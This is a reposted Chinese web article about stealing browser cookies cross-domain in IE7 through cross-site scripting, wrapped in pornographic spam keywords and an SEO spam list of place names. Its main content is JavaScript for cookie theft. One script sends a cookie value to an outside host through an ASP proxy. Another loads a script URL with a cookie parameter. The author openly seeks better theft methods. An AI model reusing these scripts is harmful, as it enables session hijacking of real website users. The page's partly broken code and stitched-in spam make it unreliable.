国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > AJAX > 正文

ie7下利用ajax跨域盜取cookie的解決辦法

2024-09-01 08:31:48
字體:
來源:轉載
供稿:網友
網上的很多文章提到的利用ajax盜取cookie的代碼經我測試不可行。

研究了一下午,第一個難題是ajax跨域提交數據,可以用web代理來解決,上的a.htm代碼:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)

</script>

其中web.asp是一個asp代理。

這樣直接訪問是可以成功發送數據的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個web.asp在上邊的,所以這種辦法不可行。

另外,其它的ie7.0下跨站想盜取cookie一般都會用到iframe標簽,在沒有研究成功ajax發送的情況下,經過搜索發現了另一種跨站的思路,不需要用iframe來跨域提交,代碼:

<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("?cookie=12345678")

/*function query()
{
get(""); //在這里可以寫代碼,像把alert("ok")里的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/

</script>

至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 茂名市| 古田县| 郸城县| 广河县| 老河口市| 武川县| 汉源县| 桑日县| 康马县| 金坛市| 澄城县| 高雄市| 贡觉县| 理塘县| 双鸭山市| 德昌县| 兰坪| 嘉定区| 上饶县| 筠连县| 中卫市| 雷州市| 沭阳县| 龙泉市| 汪清县| 阿鲁科尔沁旗| 九龙县| 九寨沟县| 临沭县| 兰溪市| 板桥市| 昆山市| 海丰县| 盐城市| 海淀区| 新郑市| 宝丰县| 林州市| 中江县| 都匀市| 龙南县|